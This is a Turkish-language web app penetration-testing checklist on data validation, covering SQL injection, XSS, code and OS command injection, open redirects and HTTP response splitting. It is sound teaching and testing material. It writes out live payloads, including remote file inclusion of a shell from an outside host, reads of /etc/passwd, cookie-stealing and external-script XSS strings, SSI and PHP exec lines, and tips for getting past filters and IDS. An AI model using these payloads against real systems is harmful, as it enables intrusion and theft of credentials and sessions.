Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

Checklist for Web App Pentesting - V

6. Veri Denetimi (Data Validation) Testleri

6.1 Girdi Denetimi

• Bütün girdiler denetlenmelidir. Girdiler URL adresi içindeki parametreler ya da POST verisi içinde gönderilen herhangi bir değişken olabilir.  Özel POST veri formatları da bu kapsam dâhilindedir. (Örneğin JSON verisi)
• Kod içinde

  s/<script>//g;

  şeklinde sakıncalı kontroller olmamalıdır. Pozitif kontroller çok dikkatli kullanılmalıdır. Bu tür kısıtlamalar gözden kaçacak açıklıklar içerebilir.
• Farklı açıklık ve diller için mutlaka denetlenmesi gereken karakterler:

SQL Injection	OS Commanding	LDAP	Other
% (Wildcard) _ (Wildcard) [ (Escape MS SQL) ) (İşlem Ayracı) ( (İşlem Ayracı) @ (MSSQL F/Değişken) ; (Birden fazla komut çalıştır) + (Metin Birleş.) = (Eşittir) < (Kıyas Operatörü) > (Kıyas Operatörü) # (Yorum) -- (Çift tire, Yorum) /* (Yorum) \0 \r \n \t \h	' (Parametre Atama) " (Parametre Atama) ` (Komut Çalıştırma) | (Pipe, Komut Çalıştırma) > (Çıktı Yönlendirme) < (Girdi Yönlendirme) * (Wildcard) ? (Wildcard) ; (Komut Birleştirme) $ (Değişken Adı) . (Dosya Yolu Değiştirme) !& (Komut Birleştirme ) () \0 \r \n	* = () | & " ; <= <= ~= :	Null-Byte \0, URL-enc: \r, URL-enc: %0a \n, URL-enc: %0d \t, URL-enc: %09

6.2 Sunucu Tarafı Girdi Denetimi

• Girdi denetimi istemci tarafına ek olarak sunucu tarafında da yapılıyor mu?
• İnternet tarayıcıdan gönderilen herhangi bir alanın uzunluk kontrolü yapılıyor mu?
• İnternet tarayıcıdan gönderilen herhangi bir alanın veri tipi kontrolü yapılıyor mu?

6.3 Çıktı Denetimi

• Çıktı denetiminde hedef,  internet tarayıcıya kaynak kodu içinde gönderilen ve sayfanın yazılımsal olarak öngörülmüş kodunun dışında özel karakterlerin herhangi bir dilin kod bileşeni olarak yorumlanmasını engellemektir.
• Aşağıdaki 5 karakterin çıktı denetimine tabi tutulması yeterli olacaktır:

  & ==> &
  < ==> &lt;
  > ==> &gt; 
  " ==> &quot;
  ' ==> &#39;

6.4 Değiştirilen İçeriğin Tespiti

• Aşağıdaki koşulların gerçekleşmesi durumunda,  işlemin gerçekleştiği oturum kapatılmalı ve ilgili yetkililer işlemden haberdar edilmelidirler:
• Ek bir form alanı ile karşılaşıldığında ya da bir form alanının eksik olduğu fark edildiğinde;
• Oturum çerezi öngörülenden farklı değerler içerdiğinde;
• Değerleri belli form alanlarına (Örn. HIDDEN, SELECT, CHECKBOX)  beklenenden farklı değerler atanmış olduğunda;
• Site içinde özel bir eylem gerçekleştiren taleplerin GET, POST, COOKIE kaynakları (Host, Referer v.s)  beklenenden farklı bir değer içerdiğinde.
• Bu tarz önlemlerin varlığı kontrol edilmelidir. Bu durumlar gerçekleştiğinde "Mininum Bilgi Prensibi" uyarınca,  detaylı bilgi döndürülmemeli.  Oturum sonlandırılsa bile 200 hata kodlu normal bir sayfaya /anasayfa) yönlendirme yapıldığı kontrol edilmelidir.

6.5 SQL Enjeksiyonu

Uygulama kodunda aşağıdaki gibi doğrudan SQL tümceleri çalıştırılan durumlar olup olmadığı tespit edilmelidir:

executeQuery("sql tümce...")
execute("sql tümce...")
executeUpdate("sql tümce...")

6.6 URL Yönlendirmeler

http://www.sirket.com.tr?url=http://apps.sirket.com.tr/finans

şeklinde olabilecek URL yönlendirmeleri:

• Sadece bilinen bağlantılar için kullanılmalı ve sunucu tarafından değeri mutlaka kontrol edilmelidir.
• Best practice olarak,  sayfa URL adresi yerine bilgilerin bir tabloda (sunucu tarafında) tutulması ve bu adreslerin “id” değerleri ile çağrılması daha doğru olacaktır. Örneğin http://www.sirket.com.tr ?url_id=3 adresinde id=3 >> http://apps.sirket.com.tr/finans
• Tam URL yerine yerel bir adres ile yönlendirme yapılabilir.  Örneğin http://www.sirket.com.tr?url=/apps/finans.html ve finans.html sayfası dahili olarak yönlendirmeyi gerçekleştirebilir. Diğer taraftan, sabit adresin sunucu tarafında eklenmesi ile de ilgili koruma sağlanabilir.

6.7 XSS (Cross Site Scripting) Enjeksiyonu

Sayfanın herhangi bir alanına istem dışı olarak Javascript kodunun eklenmesine izin verecek uygulama açıklıkları olarak özetlenebilir. 

• GET ve POST isteklerinde bulunan bütün parametreler için testler gerçekleştirilmelidir.
• Şu çok önemli: birilerinin input girdiği, başkalarının bu inputu okuduğu bir arayüz var mı? Mesajlaşma gibi mesela.
• Sadece form alanları değil,
• URL sorgu parametreleri,
• HTTP başlıklar,
• Cookiler de birer girdi alanlarıdır, göz ardı edilmemelidir.
• Bir uygulamanın arama motoru, XSS saldırıları için birincil hedeftir.
• Hata sayfaları da çoğu zaman XSS saldırılarının hedefidir:

  http://website/inc/errors.asp?Error=Invalid%20password
  http://website/inc/errors.asp?Error=<script src="...

6.8 Kod Enjeksiyonları

PHP uygulamalarda en fazla sömürülen açıklık türüdür.

• Remote File Inclusion (RFI): .....?id=http://hack.com/myshell.txt. Sona bir null karakteri (YüzdeSıfırSıfır) eklenir; null, satır sonu anlamına gelir. Uygulama, dosya adının sonuna ".php" koyuyorsa bile null karakteri ile satır sonlandığından bu uzantı dikkate alınmayacaktır.
• PHP için URL sonuna "?" de konabilir; bu karakterden sonrası query string olarak algılanacaktır.
• Test için bazı kod enjeksiyonu parametreleri:

  ?file=.htaccess
  ?file=../../../../../../../../var/log/apache/error.log
  ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
  ?file=php://filter/convert.base64-encode/resource=index.php (sayfanın base64 encoded halini döner, onu da burp vb aracından decode ederiz)
  ?file=http://websec.wordpress.com/shell.txt%23

6.9 İşletim Sistemi Komut Enjeksiyonu (OS Commanding)

Saldırganın izinsiz olarak web uygulamasını kullanarak işletim sisteminde komut çalıştırması olarak tanımlanabilir. Bu açıklık, uygulama yazılımının kullanıcıdan gelen girdiyi kontrol etmeden işletim sistemine göndereceği komutları oluşturmak için kullanması ile oluşur.

Örnek bir kod:

public String executeCommand(String hostName) {
    Runtime rt = Runtime.getRunTime();
    rt.exec("cmd.exe /C nslookup " + hostName);
}// Kullanıcıdan alınan hostName parametresi herhangi bir kontrole tabi tutulmadığı için OS Commanding injection açıklığına tamamen açık.

• Şu teknikler kullanılarak bu açıklık için gerekli testler yapılmalıdır:
• ?id=/bin/ls | (| operatörü özellikle Perl tabanlı uygulamalarda kullanılabilir)
• ?id=;cat /etc/passwd (Unix tabanlı işletim sistemleri üzerinde)
• ?id=; cat /../etc/X11/../passwd (Kara liste yönetmiyle komut enjeksiyonu saldırılarını engellemeye çalışan uygulamalarda /etc/passwd dizgisi kara listededir, bu şekilde bir ayak oyunuyla kara liste kolayca aşılabilir)
• "?id=| dir C:\" yada "?id=|| dir C:\" yada "?id=& dir C:\" yada "?id=&& dir C:\"

6.10 Diğer Enjeksiyonlar

• Uygulamanın kullandığı araç ve çatılar göz önünde bulundurularak aşağıdaki ve benzeri enjeksiyon türleri için de gerekli testler gerçekleştirilmelidir:
• LDAP
• XML
• XPATH
• IMAP/SMTP
• Buffer Overflow

6.11 HTTP Yanıt Bölme Saldırısı (HTTP Response Splitting)

• Bir GET ya da POST talebi parametresinin değeri, yanıtın başlık kısmına ekleniyor ise, (Örneğin Location başlık değerine eklenip, sayfa yönlendirmeyi kontrol ediyor ise) ve bu başlıktan gelen veriler girdi denetimine tabi tutulmuyor ise html kod enjekte etmek mümkündür. Örneğin:

  Cookie: SessionId=a2kfc339fa;arayuz=normal

  şeklinde bir çerez değerinde bulunan “arayuz” parametresi, kullanıcıya gösterilecek arayüzü belirlemek için kullanılıyor ise

  Arayüz=normal%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>istenilen%20kod%20yazilir</html>

  şeklinde gönderilerek, birden fazla yanıt döndürülmesi ve bu sayede de kullanıcı tarafından bu yanıtın çalıştırılması sağlanabilir.  Özellikle internet sayfalarını kaşeleyen (cache) bir uygulama (squid web cache gibi) var ise, istemcilerin yanıltılması mümkün olabilir.

OWASP-DV-001: Reflected XSS

XSS: Cross Site Scripting - Siteler arası betik çalıştırma
Bir XSS saldırısı şu örüntüyü kırar: Input -> Output == Cross-Site Scripting
Uygulama girdiyi doğrulamıyorsa/geçerlemiyorsa (validation) ve bizim kontrolümüzde çıktı üretiyorsa bir XSS zaafiyeti bulduk demektir.

Reflected XSS (Type 1; Non-persistent XSS):
XSS açıklığının en yaygın türüdür.
Tanım: Bir web uygulaması bu açıklığı barındırdığı zaman, talep ile gönderilen doğrulanmamış girdiyi istemciye geçirir.


Yaygın yöntem:

• Bir tasarım adımı vardır: saldırgan bir URL oluşturur ve test eder.
• Bir sosyal mühendislik adımı vardır: Saldırgan kurbanı bu URL'i kendi browser'ında açmaya ikna eder.
• Son adım: saldırgan kodun çalıştırılması - kurbanın kimlik doğrulaması ile tabi.

Genellikle saldırganın kodu Javascript kodu ile yazılır; bazen ActioScript ya da VBScript gibi farklı scripting dilleri ile de yazılır.

Saldırgan genelde işini key logger yükleyerek, kurbanın cookie'lerini çalarak, clipboard'u çalarak ya da sayfanın içeriği ile oynayarak kolaylaştırır.

Karakter encoding önemli bir konudur. Bazen uygulama "<script>" öbeğini filtreliyor fakat "%3cscript%3e" öbeğini geçiriyor olabilir; burada büyük-küçük karakterleri yerine URL encoding kullanılmış oldu.

Black Box Test:

En az 3 fazı vardır:

1. Girdi vektörlerinin belirlenmesi/keşfi.
2. Tüm girdi vektörlerinin potensiyel zaafiyetlerinin analizi. XSS zaafiyeti analizi için girdi vektörlerine özel hazırlanmış, büyük ihtimal zararsız fakat zaafiyeti açıkça gösterecek şekilde cevapları (response) tetikleyen veriler girilir. Veri bir web uygulama fuzzer ile üretilebilir ya da manuel hazırlanabilir.
3. Önceki fazda raporlanan tüm zaafiyetler için uygulamada ciddi etkileri olacak saldırılar gerçekleştirilir.

http://example.com/index.php?user=<script>alert(123)</script>

HE:WA-C6 HTML Injection

HTML Injection

En basit script atağı form alanına <script> tag'ini girmek. Bu atağın gerçek hedefleri, kötü niyetli içeriği görecek olan diğer uygulama kullanıcıları olacaktır ki, sosyal mühendislik saldırısına kurban olacaklar.

Bu saldırının 2 ön şartı var:

1. Uygulama kullanıcıdan girdi kabul etmek zorunda. Dikkat: bu girdi form alanından yapılamk zorunda değil; URL sorgu parametresi, HTTP header ve cookiler de olabilir.
   
2. Uygulama, girdiyi tekrar göstermeli. Saldırı, uygulama veriyi render ettiğinde oluşacaktır; girdi HTML tag olacak ve borwser tarafından yorumlanacak.
   

XSS (Cross-Site Scripting)

XSS saldırılarında kötü niyetli kod, genellike JavaScript, başka kullanıcıların göreceği lokasyonlara yerleştirilir. Genelde kullanıcının cookie'sini çalmak için kullanılır.

<script>document.write(document.cookie)</script>

<script>alert('Salut!')</script>

<script src="http://www.malicious-host.foo/badscript.js"></script>

Üçüncü örnekte başka bir sunucudaki .js dosyası çağırılıyor ki bu şekilde uzunluk sınırlamasından rahatlıkla sıyrılabiliyoruz.

XSS saldırısının diğer yolları:

• Bir uygulamanın arama motoru, XSS saldırıları için birincil hedeftir:

http://website/search/search.pl?qu=<script>alert('foo')</alert>

• Hata sayfaları çoğu zaman XSS saldırılarına konu olur:

http://website/inc/errors.asp?Error=Invalid%20password
http://website/inc/errors.asp?Error=<script%20src=...

Embedded Scripts

XSS saldırısı uygulamanın başka kullanıcılarını hedef alırken, gömülü script saldırısı uygulamanın kendisini hedef alır.

Bu olayda <script> tag çiftleri değil, formatlama tag'leri kullanıyoruz: SSI direktifleri, ASP parantezleri, PHP parantezleri, SQL sorgu yapıları ve hatta HTML tag'leri. Birkaç kategori:

• ASP sayfaları için date() fonksiyonunun sonuç dönüp dönmediği test edilir:
  

<%= date() %>

• Sunucu-tarafı "include"ları :

  <!--#include virtual="global.asa" -->
  

  <!--#include file="/etc/passwd" -->
  

  <!--#exec cmd="/sbin/ifconfig –a" -->
  

• Gömülü Java ve JSP de ASP kadar tehlikeli:

  <% java.util.Date today = new java.util.Date(); out.println(today); %>
  

• PHP'yi unutmayalım:

  <? print(Date("1 F d, Y")); ?>
  

  <? Include '/etc/passwd' ?>

  <? passthru("id");?>

Cookies and Predefined Headers

Küçük ve büyük işaretlerini HTML-encode değerlerine çevirelim: &lt; küçüktür için ve &gt; büyüktür için.
Bazı uygulamalar kullanıcının bold, italik, altı çizgili vs değerler girmesine izin vermesi gerekebilir. Bu durumda sadece zararlı olduğunu düşündüğü tag'leri engelleme yoluna gidilmiş olabilir. Bu gibi durumlar için aşağıdakine benzer girdi değerleri deneyebiliriz:

<scr%69pt>

<<script>

<a href="javascript:commands..."></a>

<b+<script>

<scrscriptipt> (uygulama gördüğü "script"leri null ile değiştiriyor ise)

16: XSS (Cross Site Scripting)

• En ciddi etkiyi 2006 yılında yapmaya başladı. "Yeni buffer overflow artık XSS"
• Tanımı: İstemci tarafında html/dhtml/css veya javascript kodunun izinsiz olarak kurbanın tarayısında çalıştırılması. Sunucudaki açıklık kullanılarak kurbanın browser'ına saldırılıyor.
• 3 çeşidi var:
• Reflected XSS
• En çok görülen XSS türüdür.
• Senaryo: Saldırgan, sunucudaki açıklığı kullanacak bir link oluşturur. Linki kullanıcıya gönderir ve kullanıcıyı o linki kullanarak uygulamaya girmeye ikna eder. Kullanıcı linke tıklar, sunucu da isteğe uygun web sayfası içeriği hazırlayıp kullanıcıya yollar. Bu cevapta saldırganın hazırladığı URL nedeniyle kötü amaçlı yapısal değişiklikler vardır. Kullanıcının tarayıcısında dönen sayfa çalıştığında yetkisiz kod çalıştırılmış olur.
• Kullandığımız zayıflık sunucunun açıklığı fakat hedefimiz kullanıcının tarayıcısı. Saldırgan, zehirli URL'ini kullanarak kurbana sunucuyu zehirlettiriyor; daha sonra kurban uygulamanın veritabanından zehirli bölgeye erişince kendisi zehirleniyor.
• Burada kullanıcıyı ikna etmek session fixation'a göre daha kolay, çünkü domain olarak kullanıcı doğru domain'i görür, şüphelenmez.
• Stored XSS
• Saldırgan sunucuda bir açıklık görür ve bir istek gönderir. O istek sunucuda saklanır (store).
• Hiç kimseyi ikna etme gereksinimi yok, kullanıcı kendisi geliyor uygulamaya. Misal, gazetelerin yorum sayfaları. Browserda sayfa görüntülendiğinde script çalıştırılmış oluyor.
• Reflected XSS'e göre daha etkili, çünkü
• Kimseyi ikna etme derdi yok.
• Bir kere yükledikten sonra herkes etkileniyor.
• DOM-based XSS
• Bir denetlemeye gittiğimiz zaman şunu mutlaka sormalıyız: Birilerinin input girdiği, diğerlerinin bu inputu okuduğu bir arayüz var mı? Mesajlaşma vs.
• Bilinen ilk XSS wormu: 2005 yılında MySpace sosyal paylaşım sistemini etkileyen SamyJSWorm. Samy, profiline (sevdiği kitaplar benzeri bir alana) javascript yazıp gönderiyor. Bakıyor ki veritabanına kaydedildi, profil geri geldiğinde Samy'nin sayfasına, o script çalışıyor. Samy, profiline browserda çalıştığında (profiline baktığı anda bakan kişinin tarayıcısında) kendisini arkadaş olarak ekleyen bir kod gömüyor. Script aynı zamanda kendisini profili açan kişinin profiline de kopyalıyor ki solucan dağılsın. 24 saat içinde Samy'nin 1 milyonun üzerinde arkadaşı oluyor.
• Stored XSS'i önlemenin 3 yöntemi var:
• Black List: Keyword'leri yasaklamak. Bu yanlış bir çözüm, kesinlikle bu yöntem kullanılmamalı.
• Input alanında sadece girilmesi gereken karakterlere izin ver. [a..zA..0..9][.,] gibi. Yada sayısal bir alana sadece 0..9 ve . karakterlerine izin vermek gibi.
• O alana karakter encoding kodunu da, HTML taglerini de, javascript taglerini de koymak istiyoruz. Bu durumda da 2 yöntem var:
• Sayfayı kullanıcıdan aldıktan sonra HTML encode'dan geçiririz. Mesela < işaretini &lt'ye çeviririz, browser onu tag starter olarak yorumlamaz. Ama bu yeterli değil, link içindeyse karakter URL encode, javascript ile gönderiyorsa javascript encode... developer bunu bilip o encode'u uygulaması lazım.
• Sadece temiz HTML kabul eden API'ler çıktı. Örnek: HTML Prufier (PHP), OWASP Anti-Samy API'si (Java muhtemelen).
• Neden olduğu problemler:
• Bilgi hırsızlığı: Session bilgisi (cookie) çalınabilir, clipboarddaki veri çalınabilir (IE7'den itibaren bir başkasının clipboard bilgisini almak istediği konusunda browser uyarıyor)
• İçerik değişikliği (Defacement)
• Geçmiş tarama, port tarama
• Dahili IP çalma, Web Spidering, XSS Botnet
• Açıklık tarma, Worm.
• Whitehat Security 2009 istatistiği: test edilen sistemlerde bulunan açıklıkların %65'i XSS açıklığı. Büyük çoğunluğu reflected XSS.
• XSS ile zombie bilgisayarlar (botnet) oluşturmak için bir uygulama: http://www.bindshell.net'ten erişilebilecek BeEF uygulaması.
• Stored XSS-Manuel test teknikleri:
• Input alanına "Hello<qwe>" girelim, sonuç stringinde <qwe> görülmezse ve fakat sayfanın source'unda <qwe> bir HTML tag gibi görülüyorsa stored XSS açıklığı var demektir.
• Input alanına <plaintext> girilir. Bu HTML tag'i bundan sonrası düz bir texttir demektedir; bundan sonra gelen tüm HTML tagleri artık HTML değil de string olarak algılanır ve sayfayı o şekilde basılır. Input alanına bunu girdiğimizde sayfanın kalanı bozulursa XSS açıklığı var demektir. Yalnız canlı sistemlerde bunu kullanmamak lazım, açıklık varsa sayfayı bozmuş oluruz.
• Bak: XSS Cheat Sheet; ha.ckers.org/xss.html. Bir sürü XSS test tekniği mevcut.
• XSS konusunda en popüler cheatsheet dokümanı yöneten Rsnake (Robert Hansen), sayfasında “XSS Locator” olarak adlandırdığı bir test dizgisi barındırmaktadır. Bu dizgi test  sayfasında “XSS Locator” olarak adlandırdığı bir test dizgisi barındırmaktadır. Bu dizgi test edilecek her parametrenin değeri olarak eşitlenir ve tarayıcıda bir javascript alert kutucuğu görülürse uygulamada ilgili parametre XSS zafiyetinin olduğu anlaşılır. 
• RSnake tarafından yazılmış http://ha.ckers.org/xss.html adresindeki tüm kalıpları bir otomatik tarayıcı kullanması gerekir.
• alert() metodu, IDS (Intrusion Detection System) sistemleri tarafından yakalanıyor genelde. Bunun yerine prompt() kullanabiliriz; bu metodu bazen kaçırabiliyorlar.